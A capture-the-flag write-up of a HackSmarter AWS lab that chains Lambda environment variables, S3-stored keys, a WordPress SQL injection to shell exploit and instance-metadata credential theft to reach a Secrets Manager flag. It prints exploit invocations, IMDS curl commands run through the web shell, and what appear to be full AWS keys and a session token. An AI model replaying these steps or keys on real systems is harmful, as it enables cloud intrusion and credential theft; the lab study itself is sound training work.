HackSmarter AWS + wp2shell Lab Writeup [ second ]

Overview

This was a penetration testing lab simulating a multi-stage AWS attack chain. The goal was to start with limited IAM credentials and progressively escalate privileges until reaching a final flag stored in AWS Secrets Manager.


Stage 1: Initial Reconnaissance with Pacu

I started with Pacu (the “Metasploit for AWS”) to figure out what permissions they had.

Step 1: Import the keys into Pacu

Pacu > import_keys second

Step 2: Check who we are

Pacu (aws-pentest-second:imported-second) > whoami
{
   "UserName": null,
   "RoleName": null,
   "Arn": null,
   "AccountId": null,
   "UserId": null,
   "Roles": null,
   "Groups": null,
   "Policies": null,
   "AccessKeyId": "AKIA4CFX3XVGLCRGYBOX",
   "SecretAccessKey": "9ZbZDjJSVSxqj8vUZ0Cb********************",
   "SessionToken": null,
   "KeyAlias": "imported-second",
   "PermissionsConfirmed": null,
   "Permissions": {
     "Allow": {},
     "Deny": {}
   }
}

This showed us as user cg-pentest-lab in account 829314284876.

Step 3: Brute-force IAM permissions

Pacu > run iam__bruteforce_permissions

This enumerated what API calls our user could actually make. The key findings:

  • sts.get_caller_identity worked
  • sts.get_session_token worked
  • lambda.list_functions worked — this was the first pivot point

There are 2 things we can access. Well, Lambda is basically a serverless function which can be used to run code without provisioning or managing servers.

Let’s dig into it. To enumerate Lambda, we need to run:

Pacu > run lambda__enum us-east-1

Step 4: Enumerate Lambda functions

Pacu > run lambda__enum us-east-1

This revealed a Lambda function called cg-log-processor-lab with hardcoded environment variables containing another set of AWS credentials:

[+] Secret (ENV): LAMBDA_MANAGER_AK= AKIA4CFX3XVGJIOI4XRB
[+] Secret (ENV): LAMBDA_MANAGER_SK= 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

Stage 2: Pivoting to the Lambda Credentials

I imported these new credentials as a separate profile to see what they could access.

Step 1: Configure new profile

aws configure --profile lambda
[lambda]
aws_access_key_id = AKIA5Y6JLPXS7NWVLBN5
aws_secret_access_key = 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

To view the actual data, we can run:

data lambda
Pacu (aws-pentest-second:imported-second) > data lambda
{
   "Functions": [
     {
       "Aliases": [],
       "Architectures": [
         "x86_64"
       ],
       "Code": {
         "Location": "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/829314284876/cg-log-processor-lab-5110c50e-d6ae-40d7-81da-ae3d37dca1b2?versionId=JWl8kI.9.fwQbh4r4NL5AseVtcc1zE.y&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEAkaCXVzLWVhc3QtMSJHMEUCIHgtkQfm%2Fgaonr9uyUhthFMgV13GM19ruUGvVGBnRa%2BuAiEAtm5qYDPlGkP6k%2F5ziOwLIy2JhwwUB0F%2BeljmQ7VQ0AEqlAII0v%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw3NDk2Nzg5MDI4MzkiDGw6ermO%2FBx5evURqyroAcw5uiH8S6bBRWoAiMSolqaC0vHsbsZhxAr%2BKwqSPivm1WRB%2BILtW98g8eZGoivjShBYM0JNN8FEe3Mc9%2FfZaMQOxMdYgFqKf54rnBtCauq%2ByUnYjzO2CeIG8w90c9l0EhjiOAb4c32yXbqgBckS91JxECOEu%2F04YFT2unLt0Yt0uGlVF4FLB9Z9bvxMXjyoA4ZqMwhsT0eco0IoGT3X%2BXMnCqyMiDEvxHjc%2FRRzQ8HSlfoovGAlnBEsyBvxsz7qZUxUygNIhSrXjClPECpHXwHT9w9JUicFJiQoN4kec43iJBxm%2BucO6jAwofuB0wY6jQEpmUHD%2Bs3Qc2K%2BXl%2BfLOnkuow4WqX0PcJtB0AoS7up9%2FPRBmA09N240gj3Wik6d9AeaAmTKh79otHOnJsKeYcHJ5QASx5nksNf%2FwbTj0kwu9Ah9fg7thp0RTiXNxgXMJLKv8bOuOTGyiJtE%2F%2F44B1VzO4gxrRNeu8nTwcPPKzqGz5wT7zAQz6TSNL43GI%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20260722T150751Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIA25DCYHY3TEVWL6GV%2F20260722%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=ca1a4d40ba7855dca0e53af34011f108a04cdc2c11429c63efd11c9fd737a55e",
         "RepositoryType": "S3"
       },
       "CodeSha256": "gpAzQITfdhKnlKeb7wY78NGp0K/rTWw9u06xtnB3ZtI=",
       "CodeSize": 249,
       "Description": "",
       "Environment": {
         "Variables": {
           "LAMBDA_MANAGER_AK": "AKIA4CFX3XVGJIOI4XRB",
           "LAMBDA_MANAGER_SK": "Q9dYUurhEDirUER3+HTdMwvmDA8RUXX3emK62JIU"
         }
       },
       "EphemeralStorage": {
         "Size": 512
       },
       "EventSourceMappings": [],
       "FunctionArn": "arn:aws:lambda:us-east-1:829314284876:function:cg-log-processor-lab",
       "FunctionName": "cg-log-processor-lab",
       "Handler": "lambda.handler",
       "LastModified": "2026-07-22T14:07:59.692+0000",
       "MemorySize": 128,
       "PackageType": "Zip",
       "Policy": [],
       "Region": "us-east-1",
       "RevisionId": "dc2f3c0a-ffad-488e-a264-82c56afc5666",
       "Role": "arn:aws:iam::829314284876:role/cg-lambda-role-lab",
       "Runtime": "python3.9",
       "SnapStart": {
         "ApplyOn": "None",
         "OptimizationStatus": "Off"
       },
       "Tags": [],
       "Timeout": 3,
       "TracingConfig": {
         "Mode": "PassThrough"
       },
       "Version": "$LATEST"
     }
   ]
}

Since we have the Lambda access key and secret key, we can import those as the same as second and once done, we can run iam_bruteforce again to dig into the actual stuff.

Okay, cool!

aws s3 ls --profile lambda
2026-07-22 20:52:14 cg-engineering-scripts-lab-946925698533

aws s3 ls s3://cg-engineering-scripts-lab-946925698533 --profile lambda --recursive
2026-07-22 20:52:15        316 deployment-script.sh

aws s3 cp s3://cg-engineering-scripts-lab-946925698533/deployment-script.sh . --profile lambda
cat deployment-script.sh

Output:

#!/bin/bash
# WordPress Deployment and Backup Automation Script
# Authorized access only.

export AWS_ACCESS_KEY_ID="AKIA5Y6JLPXSYL2JXXVS"
export AWS_SECRET_ACCESS_KEY="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"

echo "Starting WordPress backup job..."
# Backup tasks go here...
echo "Backup completed successfully."

Oh, we got it—a WordPress backup script with another set of AWS keys. Let’s set another profile with these keys and check what we can access with these keys.

aws configure set aws_access_key_id AKIA5Y6JLPXSYL2JXXVS --profile deploy
aws configure set aws_secret_access_key "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" --profile deploy
aws configure set region us-east-1 --profile deploy

aws sts get-caller-identity --profile deploy

Output:

{
     "UserId": "AIDA5Y6JLPXSVN6IWCRMX",
     "Account": "946925698533",
     "Arn": "arn:aws:iam::946925698533:user/cg-wp-manager-lab"
}
aws s3 ls --profile deploy
aws ec2 describe-instances --profile deploy --region us-east-1

Output:

{
     "Reservations": [
         {
             "Groups": [],
             "Instances": [
                 {
                     "AmiLaunchIndex": 0,
                     "ImageId": "ami-0d001f8052688dc45",
                     "InstanceId": "i-0e1eb8c73196630dc",
                     "InstanceType": "t3.medium",
                     "KeyName": "cg-ec2-key-pair-lab",
                     "LaunchTime": "2026-07-22T15:22:21.000Z",
                     "Monitoring": {
                         "State": "disabled"
                     },
                     "Placement": {
                         "AvailabilityZone": "us-east-1a",
                         "GroupName": "",
                         "Tenancy": "default"
                     },
                     "PrivateDnsName": "ip-10-10-10-94.ec2.internal",
                     "PrivateIpAddress": "10.10.10.94",
                     "ProductCodes": [],
                     "PublicDnsName": "ec2-44-220-84-104.compute-1.amazonaws.com",
                     "PublicIpAddress": "44.220.84.104",
                     "State": {
                         "Code": 16,
                         "Name": "running"
                     },
                     "StateTransitionReason": "",
                     "SubnetId": "subnet-0f6c42ebea93ec5fa",
                     "VpcId": "vpc-03eff789833b2a34b",
                     "Architecture": "x86_64",
                     "BlockDeviceMappings": [
                         {
                             "DeviceName": "/dev/sda1",
                             "Ebs": {
                                 "AttachTime": "2026-07-22T15:22:22.000Z",
                                 "DeleteOnTermination": true,
                                 "Status": "attached",
                                 "VolumeId": "vol-0fc2b37f85693e85b"
                             }
                         }
                     ],
                     "ClientToken": "terraform-CKD1bwFlZoaaIvISolqJ9zYPvT",
                     "EbsOptimized": false,
                     "EnaSupport": true,
                     "Hypervisor": "xen",
                     "IamInstanceProfile": {
                         "Arn": "arn:aws:iam::946925698533:instance-profile/cg-ec2-instance-profile-lab",
                         "Id": "AIPA5Y6JLPXSW222GYMWX"
                     },
                     "NetworkInterfaces": [
                         {
                             "Association": {
                                 "IpOwnerId": "amazon",
                                 "PublicDnsName": "ec2-44-220-84-104.compute-1.amazonaws.com",
                                 "PublicIp": "44.220.84.104"
                             },
                             "Attachment": {
                                 "AttachTime": "2026-07-22T15:22:21.000Z",
                                 "AttachmentId": "eni-attach-0292f1870fc3200da",
                                 "DeleteOnTermination": true,
                                 "DeviceIndex": 0,
                                 "Status": "attached",
                                 "NetworkCardIndex": 0
                             },
                             "Description": "",
                             "Groups": [
                                 {
                                     "GroupName": "cg-ec2-sg-lab",
                                     "GroupId": "sg-0bec1f2b6512469b4"
                                 }
                             ],
                             "Ipv6Addresses": [],
                             "MacAddress": "02:34:5c:d8:70:1d",
                             "NetworkInterfaceId": "eni-03fe49d5707b43f9e",
                             "OwnerId": "946925698533",
                             "PrivateDnsName": "ip-10-10-10-94.ec2.internal",
                             "PrivateIpAddress": "10.10.10.94",
                             "PrivateIpAddresses": [
                                 {
                                     "Association": {
                                         "IpOwnerId": "amazon",
                                         "PublicDnsName": "ec2-44-220-84-104.compute-1.amazonaws.com",
                                         "PublicIp": "44.220.84.104"
                                     },
                                     "Primary": true,
                                     "PrivateDnsName": "ip-10-10-10-94.ec2.internal",
                                     "PrivateIpAddress": "10.10.10.94"
                                 }
                             ],
                             "SourceDestCheck": true,
                             "Status": "in-use",
                             "SubnetId": "subnet-0f6c42ebea93ec5fa",
                             "VpcId": "vpc-03eff789833b2a34b",
                             "InterfaceType": "interface"
                         }
                     ],
                     "RootDeviceName": "/dev/sda1",
                     "RootDeviceType": "ebs",
                     "SecurityGroups": [
                         {
                             "GroupName": "cg-ec2-sg-lab",
                             "GroupId": "sg-0bec1f2b6512469b4"
                         }
                     ],
                     "SourceDestCheck": true,
                     "Tags": [
                         {
                             "Key": "Name",
                             "Value": "cg-marketing-wp-lab"
                         }
                     ],
                     "VirtualizationType": "hvm",
                     "CpuOptions": {
                         "CoreCount": 1,
                         "ThreadsPerCore": 2
                     },
                     "CapacityReservationSpecification": {
                         "CapacityReservationPreference": "open"
                     },
                     "HibernationOptions": {
                         "Configured": false
                     },
                     "MetadataOptions": {
                         "State": "applied",
                         "HttpTokens": "optional",
                         "HttpPutResponseHopLimit": 2,
                         "HttpEndpoint": "enabled",
                         "HttpProtocolIpv6": "disabled",
                         "InstanceMetadataTags": "disabled"
                     },
                     "EnclaveOptions": {
                         "Enabled": false
                     },
                     "BootMode": "uefi-preferred",
                     "PlatformDetails": "Linux/UNIX",
                     "UsageOperation": "RunInstances",
                     "UsageOperationUpdateTime": "2026-07-22T15:22:21.000Z",
                     "PrivateDnsNameOptions": {
                         "HostnameType": "ip-name",
                         "EnableResourceNameDnsARecord": false,
                         "EnableResourceNameDnsAAAARecord": false
                     },
                     "MaintenanceOptions": {
                         "AutoRecovery": "default"
                     },
                     "CurrentInstanceBootMode": "uefi"
                 }
             ],
             "OwnerId": "946925698533",
             "ReservationId": "r-0b7fe25fe9254ae43"
         }
     ]
}

Stage 3: WordPress Exploitation

The lab included a WordPress site running at http://44.220.84.104/. I scanned it using Nmap and found the WordPress version was 6.9, which is vulnerable to SQL injection.

nmap -sV -p 22,80 44.220.84.104

Output:

22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 00:2b:95:c1:12:86:5f:fa:0a:68:d1:34:5f:b8:71:65 (ECDSA)
|_  256 c2:90:72:ce:fd:ae:f4:cc:58:ae:e4:ee:1d:a3:29:29 (ED25519)
80/tcp open  http    Apache httpd 2.4.66 ((Debian))
|_http-title: CG Marketing Portal
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-generator: WordPress 6.9
|_http-server-header: Apache/2.4.66 (Debian)
OS fingerprint not ideal because: Didn't receive UDP response. Please try again with -sSU
No OS matches for host
Network Distance: 9 hops

I used a latest exploit called wp2shell that exploits a SQL injection vulnerability to gain remote code execution on the WordPress host.

CVE-2026-63030: A REST API batch-endpoint route confusion bug that bypasses validation and access control checks.CVE-2026-60137: A SQL injection flaw in the author__not_in parameter of the internal WP_Query class

for more : https://wp2shell.com/

Step 1: Get command execution on the WordPress server

./wp2shell.py shell http://44.220.84.104/ --cmd id

Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

This confirmed we had a shell as the web server user.

Then I tried to escalate the privileges to root using sudo -l, but nothing worked.


Stage 4: Stealing EC2 Instance Profile Credentials

Quickly Googled and found that the WordPress server was running on an EC2 instance. Since this WordPress server was running on an EC2 instance, it had access to the instance metadata service (IMDS) at 169.254.169.254.

Step 1: Find the IAM role attached to the EC2 instance

./wp2shell.py shell http://44.220.84.104/ --cmd "curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Output:

cg-ec2-role-lab

Step 2: Grab the temporary credentials for that role

./wp2shell.py shell http://44.220.84.104/ --cmd "curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-lab"

This returned a JSON blob with AccessKeyId, SecretAccessKey, and Token.


Stage 5: Final Privilege Escalation to Secrets Manager

I configured a new local AWS profile with the EC2 role credentials.

Step 1: Configure the stolen credentials

aws configure set aws_access_key_id ASIA5Y6JLPXS5EQ7DCGV --profile ec2
aws configure set aws_secret_access_key rwPwCdqUgpMWoZMtsNhzHqILUbhEvnl/ca+UoXDY --profile ec2
aws configure set aws_session_token IQoJb3JpZ2luX2VjEBAaCXVzLWVhc3QtMSJIMEYCIQDakUdOyz418POUn2+XS3DdwAATb/UZoE9DcfzQG6BKYgIhAPRz2qV4FEyFNyct1SQgAxcUL7g6h01opTa+FiQ98h6qKsMFCNn//////////wEQABoMOTQ2OTI1Njk4NTMzIgzyemH7SX+NzYUcQ7gqlwVZHk8i8+v3o0qkZMeSPhEtP8dOuxZWzsSfMQ5kAe4d6Uz1aDzQdNk2b0TJ3SbSpjWbSDduuSBeLyp47NazT2qJLQisJCg+pbObqkeH0WwUVJ0jTpfkDq+ZpmR17Nxi38+GwvmgEQrgbgizz9jF5kKkWbk/A3V8ZyQq5zgjE7k1iOBZIxdsCbC/fvMRYFDRori0KE2Vf8gadz6v5BqUPR3cNi3rpSpKqRWasr6F3Sw+jkMSDLsJxXj8zN8JsnHPls8ZihdEc1B3sVE1FwRjyRxJUCOK9bmc2bE49GIZeIvDF3bpGjGHmg6m20lF2rCwUPeIJM8vEIXCR6HqwCsqjKvOhx8HSLs/eVnSnOCbwOjeDlbspvJfHD54yrnhLbqFfQnek/bfWfagaTyuLw2NS3rZ/9DLB/ZTKOI0+ZVKCKYcjyB+qZb1ukc4UmVRhq6iGsIGBzY73fvMbgj4zpzNiKe5quVjqQJh1qExAN5fESZ5XeL39IDK8puY6p1/rEUjDLP43Q/zEjMeOt3txFCxocLx46OMWsUOMwupAOi9BtZ0tnkDrN/BgUhKcl/lwMgizcZQIDoUaYk5+gTvlLFPW1dpStxwWM0Jp1zm3J6zuW3i/Doj3wNX6FlOkaLZeJ9QX8ytT39NUwaxUYv5joWWJzxw1Wni8Lw+0lIjhkjaEJWooATs5dvwwP+6ss0Z4uH7ZfrOgcWRKvQFh/X0pMsd7RrVkoH2YximmyaDe6itCcj5Vzp5xW9OATgrn8soRSaL1oemdEXH3BYzvrvhi2koKd6GTlJAiLVZ/hf9eORP2WR/C4Kf/13/2z5ZBZFS9YvacNmFXaGMCHAM7781A+kw9/Lml3JNC+ZDkNH+YlxpuKazpjvv9TOazw4wrsCD0wY6sAHoGYgQy0qypWpfoS4lYAqsXMOtIqVqm23igsf8V34C+26lZaCVvG6RHVLdrqVW8CBglV1eFxTdppZCnOztlY2L4snHnRHGRzaC3ejrUMBvlmHGCgM8taimeWWy0Bat3rVU3NCEQmSPaTNd8Um/VRlyx3yqOCHiD/smbobpT/bKFPUboaNRd+539gE8pEYi2i2eie2hRxSbUZkKhZE3OpvIZyi1fyuqv25p+BK12upc5Q== --profile ec2
aws configure set region us-east-1 --profile ec2

Step 2: Verify the new identity

aws sts get-caller-identity --profile ec2

This showed we were now in a different AWS account: 946925698533, acting as the cg-ec2-role-lab role.

Step 3: List and read secrets

aws secretsmanager list-secrets --profile ec2
aws secretsmanager get-secret-value --secret-id cg-final-flag-lab --profile ec2

The flag:

HSM{redacted-for-security}

Attack Chain Summary

Initial IAM User (cg-pentest-lab)
    │
    ▼
(Lambda function enumeration)
Lambda Environment Variables
    │
(AKIA4CFX3XVGJIOI4XRB / Q9dYUurh...)
    ▼
S3 Bucket: deployment-script.sh
    │
(AKIA5Y6JLPXSYL2JXXVS / 0aB5y4TrX...)
    ▼
WordPress SQLi → RCE (www-data)
    │
(IMDS metadata endpoint)
    ▼
EC2 Instance Profile (cg-ec2-role-lab)
    │
(different account: 946925698533)
    ▼
AWS Secrets Manager
    │
    ▼
FLAG: HSM{redacted-for-security}

Thanks for reading folks! This lab was a great exercise in AWS privilege escalation and WordPress exploitation. certificate Thank You HackSmarter for this awesome lab!